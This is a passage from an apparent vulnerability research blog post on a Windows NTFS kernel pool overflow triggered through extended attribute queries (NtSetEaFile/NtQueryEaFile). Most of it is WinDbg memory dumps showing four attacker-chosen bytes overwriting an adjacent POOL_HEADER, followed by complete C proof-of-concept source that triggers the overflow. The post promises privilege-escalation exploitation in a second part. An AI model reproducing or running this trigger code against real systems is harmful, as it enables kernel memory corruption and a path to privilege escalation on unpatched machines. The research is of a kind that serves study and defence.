ffffd889`34985af0  4f 4f 4f 4f 50 50 50 50-01 02 03 04 05 06 07 08  OOOOPPPP........
ffffd889`34985b00  01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08  ................
ffffd889`34985b10  00 00 00 00 24 00 00 00-00 00 00 00 03 00 00 00  ....$...........
ffffd889`34985b20  00 00 16 03 4e 70 41 74-00 00 00 00 00 00 00 00  ....NpAt........                // <- here a new chunk begins
ffffd889`34985b30  b0 9b 50 2c 89 d8 ff ff-b0 9b 50 2c 89 d8 ff ff  ..P,......P,....

And inspecting the same buffer after the third memcpy

1: kd> pc
Ntfs!NtfsCommonQueryEa+0x2bf:
fffff803`0cb8bd0f e8ec5df5ff      call    Ntfs!memcpy (fffff803`0cae1b00)

1: kd> p
Ntfs!NtfsCommonQueryEa+0x2c4:
fffff803`0cb8bd14 eb87            jmp     Ntfs!NtfsCommonQueryEa+0x24d (fffff803`0cb8bc9d)

1: kd> db ffffd889349859c0 l180
ffffd889`349859c0  00 00 16 03 4e 74 46 45-00 00 00 00 00 00 00 00  ....NtFE........
ffffd889`349859d0  9c 00 00 00 00 0f 81 00-55 53 45 52 2e 43 4f 4d  ........USER.COM
ffffd889`349859e0  4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20  MENT321.This is 
ffffd889`349859f0  61 20 63 6f ff 6d 65 6e-74 31 32 33 41 41 41 41  a co.ment123AAAA
ffffd889`34985a00  42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45  BBBBCCCCDDDDEEEE
ffffd889`34985a10  46 46 46 46 41 41 41 41-42 42 42 42 43 43 43 43  FFFFAAAABBBBCCCC
ffffd889`34985a20  44 44 44 44 45 45 45 45-46 46 46 46 47 47 47 47  DDDDEEEEFFFFGGGG
ffffd889`34985a30  48 48 48 48 4a 4a 4a 4a-4b 4b 4b 4b 4c 4c 4c 4c  HHHHJJJJKKKKLLLL
ffffd889`34985a40  4d 4d 4d 4d 4e 4e 4e 4e-4f 4f 4f 4f 50 50 50 50  MMMMNNNNOOOOPPPP
ffffd889`34985a50  01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08  ................
ffffd889`34985a60  01 02 03 04 05 06 07 08-00 00 00 00 a8 00 00 00  ................
ffffd889`34985a70  00 0f 8d 00 55 53 45 52-2e 43 4f 4d 4d 45 4e 54  ....USER.COMMENT
ffffd889`34985a80  32 32 32 00 54 68 69 73-20 69 73 20 61 20 63 6f  222.This is a co
ffffd889`34985a90  ff 6d 65 6e 74 31 32 33-41 41 41 41 42 42 42 42  .ment123AAAABBBB
ffffd889`34985aa0  43 43 43 43 44 44 44 44-45 45 45 45 46 46 46 46  CCCCDDDDEEEEFFFF
ffffd889`34985ab0  47 47 48 48 48 48 49 49-49 49 4a 4a 41 41 41 41  GGHHHHIIIIJJAAAA
ffffd889`34985ac0  42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45  BBBBCCCCDDDDEEEE
ffffd889`34985ad0  46 46 46 46 47 47 47 47-48 48 48 48 4a 4a 4a 4a  FFFFGGGGHHHHJJJJ
ffffd889`34985ae0  4b 4b 4b 4b 4c 4c 4c 4c-4d 4d 4d 4d 4e 4e 4e 4e  KKKKLLLLMMMMNNNN
ffffd889`34985af0  4f 4f 4f 4f 50 50 50 50-01 02 03 04 05 06 07 08  OOOOPPPP........
ffffd889`34985b00  01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08  ................
ffffd889`34985b10  00 00 00 00 00 00 00 00-00 02 05 00 41 43 00 54  ............AC.T
ffffd889`34985b20  41 41 41 41 4e 70 41 74-00 00 00 00 00 00 00 00  AAAANpAt........        // <- Overflowing four bytes into the POOL_HEADER of the next chunk
ffffd889`34985b30  b0 9b 50 2c 89 d8 ff ff-b0 9b 50 2c 89 d8 ff ff  ..P,......P,....

And we did overflow four bytes (AAAA) into the POOL_HEADER of the adjacent chunk. I have to say, that I reconstructed this part after I already had a successful exploit. The overall process to achieve it was not as straight forward as this might have looked like.

We needed to just overflow four bytes, different lengths of EA were not deemed valid by the kernel and also the overflown four bytes had to be arbitrary values, remember the EA names must be valid ASCII and we prefer to use non-ascii characters to simplify the exploitation when taking control of the next chunks POOL_HEADER.

This all might have been a bit rough to understand without having reversed the invovled functions and not having stepped through it in a debugger yourself, so here is a table to aid your understanding.

Iteration out_buf_len block_size padding if statement
1. 0x143 0x99 0x00 if (0x99<(uint)(0x143-0x00))
2. 0xaa 0xa5 0x03 if (0xa5<(uint)(0xaa-0x03))
3. 0x02 0x10 0x03 if (0x10<(uint)(0x2-0x03))

And additionally a graphical illustration how all the three iterations now enabled us for the overflow to aid in the understanding.

Graphical Illustration of the Overflow

Below is the code which allows for the demonstrated four byte overflow.

#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996) // allow strncpy...

// https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
// https://hex.pp.ua/extended-attributes.php
// https://github.com/uvbs/obfuscation-crypto-repo/blob/master/Krypton_7.1/Bin/SYS/ntundoc.h
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FFILE_GET_EA_INFORMATION.html
// https://www.pixiepointsecurity.com/blog/nday-cve-2020-17087.html
// 


#define STATUS_INVALID_EA_NAME           ((NTSTATUS)0x80000013L)
#define STATUS_EA_LIST_INCONSISTENT      ((NTSTATUS)0x80000014L)
#define STATUS_EA_TOO_LARGE              ((NTSTATUS)0xC0000050L)
#define STATUS_EAS_NOT_SUPPORTED         ((NTSTATUS)0xC000004FL)
#define STATUS_EA_CORRUPT_ERROR          ((NTSTATUS)0xC0000053L)

#define MAX_EA_NAME_LEN 255

// Function prototypes for the Native API functions
typedef NTSTATUS(NTAPI* NtSetEaFile_t)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length
    );

typedef NTSTATUS(NTAPI* NtQueryEaFile_t)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    BOOLEAN ReturnSingleEntry,
    PVOID EaList,
    ULONG EaListLength,
    PULONG EaIndex,
    BOOLEAN RestartScan
    );

#define EA_NAME  "User.Comment321"
#define EA_NAME2 "User.Comment222"
#define EA_NAME3 "ac"

#define EA_NAME_LENGTH  (sizeof(EA_NAME) - 1)
#define EA_NAME_LENGTH2 (sizeof(EA_NAME2) - 1)
#define EA_NAME_LENGTH3 (sizeof(EA_NAME3) - 1)




typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG NextEntryOffset;
    UCHAR Flags;
    UCHAR EaNameLength;
    USHORT EaValueLength;
    CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
    ULONG                   NextEntryOffset;
    BYTE                    EaNameLength;
    CHAR                    EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;

HANDLE hFile = NULL;


void query_extended_attributes(NtQueryEaFile_t NtQueryEaFile) {
    //    ULONG queryBufferSize = 0x300 - 0xb3 + 1;     // this is the value of the out_buf_len used within the kernel code
    ULONG queryBufferSize = 0x143; // 0x200 - 0xdb + 0x34 + 0x10 + 1 - (6*3) - 0x1b - 6  + 8 + 4;     // this is the value of the out_buf_len used within the kernel code   -> 0x126
    printf("[*] queryBufferSize: %p\n", queryBufferSize);
    PFILE_FULL_EA_INFORMATION queryBuffer = (PFILE_FULL_EA_INFORMATION)malloc(queryBufferSize);
    if (!queryBuffer) {
        printf("Memory allocation error\n");
        return;
    }

    ULONG eaBufferSize = 9 + EA_NAME_LENGTH;

    PFILE_GET_EA_INFORMATION file_get_ea_inf1 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
    PFILE_GET_EA_INFORMATION file_get_ea_inf2 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
    PFILE_GET_EA_INFORMATION file_get_ea_inf3 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);


    file_get_ea_inf1->NextEntryOffset = eaBufferSize;
    file_get_ea_inf1->EaNameLength = EA_NAME_LENGTH;

    file_get_ea_inf2->NextEntryOffset = eaBufferSize;
    file_get_ea_inf2->EaNameLength = EA_NAME_LENGTH2;

    file_get_ea_inf3->NextEntryOffset = 0;
    file_get_ea_inf3->EaNameLength = EA_NAME_LENGTH3;


    memcpy(file_get_ea_inf1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
    memcpy(file_get_ea_inf2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
    memcpy(file_get_ea_inf3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);

    char* buf = (char*)malloc(eaBufferSize * 3);
    memcpy(buf, file_get_ea_inf1, eaBufferSize);
    memcpy(buf + eaBufferSize, file_get_ea_inf2, eaBufferSize);
    memcpy(buf + (eaBufferSize*2), file_get_ea_inf3, eaBufferSize);

    ULONG eaIndex = 0;

    /* END TESTS */

    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, buf, eaBufferSize*3, &eaIndex, TRUE);
    //NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, 0, 0, 0, TRUE);

    if (status != STATUS_SUCCESS) {
        printf("NtQueryEaFile error: %08x\n", status);
        free(queryBuffer);
        return;
    }

    printf("Extended attributes queried successfully\n");
    
    PFILE_FULL_EA_INFORMATION eaEntry = queryBuffer;
    do {
        printf("EA Name: %.*s\n", eaEntry->EaNameLength, eaEntry->EaName);
        printf("EA Value: %.*s\n", eaEntry->EaValueLength, eaEntry->EaName + eaEntry->EaNameLength + 1);

        if (eaEntry->NextEntryOffset == 0)
            break;

        eaEntry = (PFILE_FULL_EA_INFORMATION)((PUCHAR)eaEntry + eaEntry->NextEntryOffset);
    } while (TRUE);
    

    free(queryBuffer);
}


BOOL set_extended_attributes(NtSetEaFile_t NtSetEaFile) {

    // Set extended attribute
    CHAR eaValue1[]  = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
    CHAR eaValue2[] = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFGGHHHHIIIIJJAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
    CHAR eaValue3[] = "TABCD"; // next header is starting to be overwritten after the `T` (eaValue3[1:])


    // the overflow data
    // Set the pool type to the same pooltype with aligned chunk set (| 4)
    *((unsigned char*)eaValue3 + 1) = 0x41;  // previous size - we use 0x120 (from debugging session)

    *((unsigned char*)eaValue3 + 1 + 1) = 0x41;                     // pool index
    *((unsigned char*)eaValue3 + 1 + 2) = 0x41;                     // block size
    *((unsigned char*)eaValue3 + 1 + 3) = 0x41; // pool type


    ULONG eaValue1Length = sizeof(eaValue1);
    ULONG eaValue2Length = sizeof(eaValue2);
    ULONG eaValue3Length = sizeof(eaValue3) - 1; // `-1` gets rid of the trailing null byte

    ULONG eaBufferSize1 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue1Length;
    ULONG eaBufferSize2 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue2Length;
    ULONG eaBufferSize3 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue3Length;
    PFILE_FULL_EA_INFORMATION eaBuffer1 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize1);
    PFILE_FULL_EA_INFORMATION eaBuffer2 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize2);
    PFILE_FULL_EA_INFORMATION eaBuffer3 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize3);



    if (!eaBuffer1 || !eaBuffer2|| !eaBuffer3) {
        printf("Memory allocation error\n");
        CloseHandle(hFile);
        return 0;
    }

    eaBuffer1->NextEntryOffset = eaBufferSize1;
    eaBuffer1->Flags = 0x00;
    eaBuffer1->EaNameLength = EA_NAME_LENGTH;
    eaBuffer1->EaValueLength = eaValue1Length;
    memcpy(eaBuffer1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
    memcpy(eaBuffer1->EaName + EA_NAME_LENGTH + 1, eaValue1, eaValue1Length);

    IO_STATUS_BLOCK ioStatus;
    //NTSTATUS status = NtSetEaFile(hFile, &ioStatus, eaBuffer, eaBufferSize);

    printf("[*] eaBuffer1->NextEntryOffset:  %p\n", eaBuffer1->NextEntryOffset);
    printf("[*] eaBuffer1->EaNameLength   :  %p\n", eaBuffer1->EaNameLength);
    printf("[*] eaBuffer1->EaValueLength  :  %p\n", eaBuffer1->EaValueLength);

    
    // second EA
    eaBuffer2->NextEntryOffset = eaBufferSize2;
    eaBuffer2->Flags = 0x00;
    eaBuffer2->EaNameLength = EA_NAME_LENGTH2;
    eaBuffer2->EaValueLength = eaValue2Length;
    memcpy(eaBuffer2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
    memcpy(eaBuffer2->EaName + EA_NAME_LENGTH2 + 1, eaValue2, eaValue2Length);


    printf("[*] eaBuffer2->NextEntryOffset:  %p\n", eaBuffer2->NextEntryOffset);
    printf("[*] eaBuffer2->EaNameLength   :  %p\n", eaBuffer2->EaNameLength);
    printf("[*] eaBuffer2->EaValueLength  :  %p\n", eaBuffer2->EaValueLength);


    // third EA
    eaBuffer3->NextEntryOffset = 0;
    eaBuffer3->Flags = 0x00;
    eaBuffer3->EaNameLength = EA_NAME_LENGTH3;
    eaBuffer3->EaValueLength = eaValue3Length;
    memcpy(eaBuffer3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);
    memcpy(eaBuffer3->EaName + EA_NAME_LENGTH3 + 1, eaValue3, eaValue3Length);

    printf("[*] eaBuffer3->NextEntryOffset:  %p\n", eaBuffer3->NextEntryOffset);
    printf("[*] eaBuffer3->EaNameLength   :  %p\n", eaBuffer3->EaNameLength);
    printf("[*] eaBuffer3->EaValueLength  :  %p\n", eaBuffer3->EaValueLength);


    char* buf = (char*)malloc(eaBufferSize1 + eaBufferSize2 + eaBufferSize3);
    memcpy(buf, eaBuffer1, eaBufferSize1);
    memcpy(buf + eaBufferSize1, eaBuffer2, eaBufferSize2);
    memcpy(buf + (eaBufferSize1 + eaBufferSize2), eaBuffer3, eaBufferSize3);

    NTSTATUS status = NtSetEaFile(hFile, &ioStatus, buf, eaBufferSize1+eaBufferSize2+eaBufferSize3);

    if (status != STATUS_SUCCESS) {
        printf("NtSetEaFile error: %08x\n", status);
        free(buf);
        free(eaBuffer1);
        free(eaBuffer2);
        CloseHandle(hFile);
        return 0;
    }
    
    printf("Extended attribute set successfully\n");
    return 1;
}



int main() {
    // Load ntdll.dll and get the addresses of the functions
    HMODULE ntdll = LoadLibraryA("ntdll.dll");
    if (!ntdll) {
        printf("Error loading ntdll.dll\n");
        return 1;
    }

    NtSetEaFile_t NtSetEaFile = (NtSetEaFile_t)GetProcAddress(ntdll, "NtSetEaFile");
    NtQueryEaFile_t NtQueryEaFile = (NtQueryEaFile_t)GetProcAddress(ntdll, "NtQueryEaFile");

    NtFsControlFile = (NtFsControlFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtFsControlFile");
    if (!NtFsControlFile) {
        return 1;
    }
    if (!NtSetEaFile || !NtQueryEaFile) {
        printf("Error finding NtSetEaFile or NtQueryEaFile\n");
        return 1;
    }

    // File to set/query extended attributes
    const char* fileName = "example.txt";
    hFile = CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Error opening file: %lu\n", GetLastError());
        return 1;
    }

    set_extended_attributes(NtSetEaFile);

    printf("[>] Continue to do a NtQueryEaFile? > ");
    getchar();

    // trigger vuln
    query_extended_attributes(NtQueryEaFile);


    getchar();


    CloseHandle(hFile);
    return 1;
}

We now just have to apply the exploitation technique, how hard can that be? ;P. We’ll cover this in part 2.


<
Previous Post
Schneider Electric APC Easy UPS RCE - Java RMI Applevel Deser for JEP>=290
>
Blog Archive
Archive of all previous blog posts